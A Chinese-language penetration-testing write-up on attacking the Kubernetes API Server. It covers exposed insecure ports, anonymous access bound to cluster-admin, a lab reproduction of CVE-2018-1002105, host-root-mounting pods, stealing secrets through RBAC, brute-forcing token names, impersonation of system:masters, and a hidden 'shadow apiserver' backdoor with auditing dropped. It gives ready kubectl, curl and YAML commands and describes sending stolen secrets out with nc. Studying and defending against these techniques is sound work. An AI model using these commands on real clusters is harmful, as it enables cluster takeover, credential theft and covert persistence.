K8s 之 ApiServer 组件风险

	apiserver简介 API Server 作为 K8s 集群的管理入口，在集群中被用于提供API来控制集群内部。默认情况下使用 8080 insecure-port 非安全端口）和 6443 secure-port，安全端口端口，其中 8080 端口无需认证，6443端口需要认证且有TLS保护。 apiserver工作原理图： 而apiserver在渗透测试过程中受到以下风险： apiserver的Insecure-port端口对外暴露 apiserver未授权配置错误(匿名访问+绑定高权限角色) 历史apiserver提权漏洞(例如CVE-2018-1002105) 配置不当的RBAC受到的提权风险 apiserver权限维持 1.apiserver的Insecure-port端口对外暴露 API Server 作为 K8s 集群的管理入口，在集群中被用于提供API来控制集群内部。默认情况下使用 8080 insecure-port非 安全端口和 6443 （secure-port，安全端口）端口，其中 8080 端口无需认证，6443端口需要认证且有TLS保护。 如果其在生产环境中Insecure-port 被暴露出来，便利用此端口进行对集群的攻击。 但是这种情况很少了，条件必须是低版本1.20版本后该选项已无效化）加配置中/etc/kubernets/manifests/kub e-apiserver.yaml)写了insecure-port选项,默认不开启： 2.apiserver未授权配置错误(匿名访问+绑定高权限角色) Api server的 6443 （secure-port，安全端口）认证是需要凭据的。 如果配置错误，将system:anonymous用户绑定到了cluster-admin用户组，那么匿名用户可以支配集群。 kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admi n --user=system:anonymous 这种配置下可以拿到所有token后与api server交互，支配集群： 3.历史apiserver提权漏洞(例如CVE-2018-1002105) CVE-2018-1002105是一个K8s提权漏洞，Kubernetes用户可以在已建立的API Server连接上打通了client到 kubelet的通道，实现提升k8s普通用户到k8s api server的权限。 漏洞影响版本: Kubernetes v1.0.x-1.9.x Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11) Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5) Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3) 漏洞利用条件: 这边普通用户至少需要具有一个pod的exec/attach/portforward等权限。 环境： 构造一个命名空间test，和一个test命名空间的pod，原有权限是对test命名空间下的pod的exec权限漏洞 利用后将权限提升为了API Server权限，这里用metarget靶场起一个环境： 创建namespace: apiVersion: v1 kind: Namespace metadata:   name: test 创建role： apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata:   name: test   namespace: test rules: - apiGroups:   - ""   resources:   - pods   verbs:   - get   - list   - delete   - watch - apiGroups:   - ""   resources:   - pods/exec   verbs:   - create   - get 创建role_binding.yml: apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata:   name: test   namespace: test roleRef:   apiGroup: rbac.authorization.k8s.io   kind: Role   name: test subjects: - apiGroup: rbac.authorization.k8s.io   kind: Group   name: test 创建pod： apiVersion: v1 kind: Pod metadata:   name: test   namespace: test spec:   containers:   - name: ubuntu     image: ubuntu:latest     imagePullPolicy: IfNotPresent     # Just spin & wait forever     command: [ "/bin/bash", "-c", "--" ]     args: [ "while true; do sleep 30; done;" ]   serviceAccount: default   serviceAccountName: default 最后给用户配置一个静态的token文件来配置用户的认证： 当在命令行上指定--token-auth-file=SOMEFILE选项时，API server 从文件读取 bearer token。 token 文件是一个csv 文件，每行至少包含三列：token、用户名、用户 uid： token,user,uid,"group1,group2,group3" 这里使用到的配置token： password,test,test,test 验证： 对指定test空间下的pod执行命令是可以的： kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-ve rify exec -it test -n test /bin/hostname 对其他命名空间越权操作发现提示权限不足： kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-t ls-verify get pods -n kube-system 漏洞复现： exp：https://github.com/Metarget/cloud-native-security-book/blob/main/code/04 03-CVE-2018-1002105/exploit.py exp中也是会创建一个挂载宿主机根目录的pod，实现容器逃，而创建的基础是利用前面说的高权限websocket连接 利用这个连接向apiserver发送命令，窃取高凭据文件，再利用凭据文件创建pod，挂载宿主机根目录。 挂载了以后读取宿主机节点的/etc/kubernetes/pki目录下的大量敏感凭据： exp中指定读取的证书文件： 利用： 这样就拿到了凭据，最后就是创建pod挂载宿主机根目录： # attacker.yaml apiVersion: v1 kind: Pod metadata:   name: attacker spec:   containers:   - name: ubuntu     image: ubuntu:latest     imagePullPolicy: IfNotPresent     # Just spin & wait forever     command: [ "/bin/bash", "-c", "--" ]     args: [ "while true; do sleep 30; done;" ]     volumeMounts:     - name: escape-host       mountPath: /host-escape-door   volumes:     - name: escape-host       hostPath:         path: / host-escape-door 目录为pod挂载宿主机的目录,发现已经可以查看apiserver宿主机的目录： 4.配置不当的RBAC受到的提权风险 RBAC权限滥用提权 权限滥用主要在对特定资源有特定操作的情况下，可以有特定的权限提升。 枚举当前RBAC权限 在指定当前通过渗透得到用户凭据或者sa的凭据后，可以先枚举当前有哪些权限： 也可以使用curl对apiserver的api进行访问来区别当前的权限: 枚举之后应该对当前凭据对资源的操作有个数了，下面列举在分配权限时哪些情况下有提权提升的可能。 create pods权限 resources: ["*"] verbs: ["create"]：resources为*或者为pods的情况下，verbs是create在集群中可以创建任 意资源比如像pods，roles.而创建pods的命名空间也取决你role中metadata.namespace的值： 如果有create权限，常见攻击手法就是创建挂载根目录的pod，跳到node： list secrets权限 resources: ["*"] verbs: ["list"]：resources为*或者为secrets的情况下，verbs是list,在集群中可以列出其 他user的secrets，一般拿来寻找特权账号凭据。 具有list权限或者说是list secrets权限的role可以列出集群中重要的secrets，包括管理的keys(JWT): 利用： curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/na mespaces/kube-system/secrets/ get secret权限 resources: ["*"] verbs: ["get"]:resources为*或者为secrets的情况下，verbs是get，get可以在集群 中获得其他service accounts的secrets。 如下定义Role的resources字段为*或者secrets对象，并且verbs为get这时候有 权限获得其他secrets。 get权限能访问的api： GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} 但是get和list不一样，get需要知道secrets的id才能读： 图出处：图出处，list和get来窃取凭据的区别：https://published-prd.lanyonevents.com/published/rsaus 20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by %20Exploiting%20RBAC%20Permissions.pdf 这时候用读secrets来攻击的话常见手法是读默认的sa的token,默认有这些sa: 对应的token: kubectl -n kube-system get secret -n kube-system 可以看到每个sa的token都是sa的name-token-随机五个字符, 其中随机的字符是由数字和字母组合，特定的27个字符： https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/sta ging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183：# 27的5次方也是14,348,907可能，写个py脚本的迭代器爆破即可： get list watch secrets权限 resources: ["*"] verbs: ["get","list","watch"]:resources字段为*或者secrets的话可以利用这三个权限来创建 一个恶意pod后通过挂载secrets以至获取别人的secrets，然后外带： 这里使用automountServiceAccountToken将特权服务帐户的令牌挂载到 pod，使用令牌获取拿到所有secrets后 用nc传到攻击者监听端口，当前也可以使用其他方式带外： 图出处，创建一个"hot pod"来窃取凭据：https://published-prd.lanyonevents.com/published/rsaus20/ses sionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Explo iting%20RBAC%20Permissions.pdf Impersonate权限 用户可以通过模拟标头充当另一个用户。这些让请求手动覆盖请求身份验证的用户信息。例如管理员可以使用此功能 通过临时模拟另一个用户并查看请求是否被拒绝来调试授权策略。 以下 HTTP 标头可用于执行模拟请求： Impersonate-User：要充当的用户名。 Impersonate-Group：要充当的组名。可以多次提供设置多个组。可选的。需要模拟用户。 Impersonate-Extra-( extra name )：用于将额外字段与用户关联的动态标题。可选的。需要模拟用户。 Impersonate-Uid：代表被模拟用户的唯一标识符。可选的。需要模拟用户。Kubernetes 对此字符 串没有任何格式要求。 有了Impersonate权限攻击者可以模拟一个有特权的账户或者组： Role: binding: 模拟用户的操作是通过调用K8s API 的Header来指定的，kubectl可以加入--as参数： kubectl --as <user-to-impersonate> ... kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ... 请求apiserver: curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \ -H "Impersonate-Group: system:masters"\ -H "Impersonate-User: null" \ -H "Accept: application/json" \ https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/ 5.apiserver权限维持 在渗透权限维持阶段如果像常规对机器比如容器做权限维持的话， 是有弊端的，因为在K8s中会对pod进行 扩容和缩容，权限维持的机器就会变得有生命周期而使已获得权限变得不稳定。所以在K8s中利用apiserver 做权限维持是个不错的选择。 shadow apiserver shadow apiserver就是创建一种针对K8s集群的隐蔽持续控制通道 在原有的apiserver上开放更 大的权限并且放弃日志审计，从而达到隐蔽性和持久控制目的。 pdf： https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18317/20 20_USA20_CSV-F01_01_Advanced%20Persistence%20Threats%20The%20Future%20 of%20Kubernetes%20Attacks.pdf 原本apiserver信息： apiserver pod的详细： 构造shadow apiserver需要在原有的基础上增加功能,总所周知cdk工具可以一键部署shadow apiserver： pkg/exploit/k8s_shadow_apiserver.go: 可以发现cdk在配置文件中添加： --allow-privileged --insecure-port=9443 --insecure-bind-address=0.0.0.0 --secure-port=9444 --anonymous-auth=true --authorization-mode=AlwaysAllow 可以看到通过参数新启动的apiserver允许了容器请求特权模式，暴露了insecure-port为9443监听地址绑 定为0.0.0.0，允许了匿名访问，允许所有请求。 也可以修改cdk中原有配置的参数来定制你的后门apiserver。直接修改argInsertReg.ReplaceAllString 函数里的内容即可。 ps ： insecure-port的参数在最新cdk已经被注释了，这个参数在K8s 1.24会直接弃用。 所以这个时候当前可以匿名向apiserver访问请求管理集群，curl/kubectl去请求， kubectl -s 192.168.1.22:6443 get pods,deployment -o wide 6.最后 k8s API Server提供了k8s各类资源对象（pod,RC,Service等）的增删改查及watch等HTTP Rest接口是整个系统的数 据总线和数据中心，充当了集群中不可或缺的一个角色，因此apiserver组件的安全以及基线检查工作对于集群来说尤 为重要 在集群安全的角度对apiserver组件安全问题和风险也应该保持持续的关注。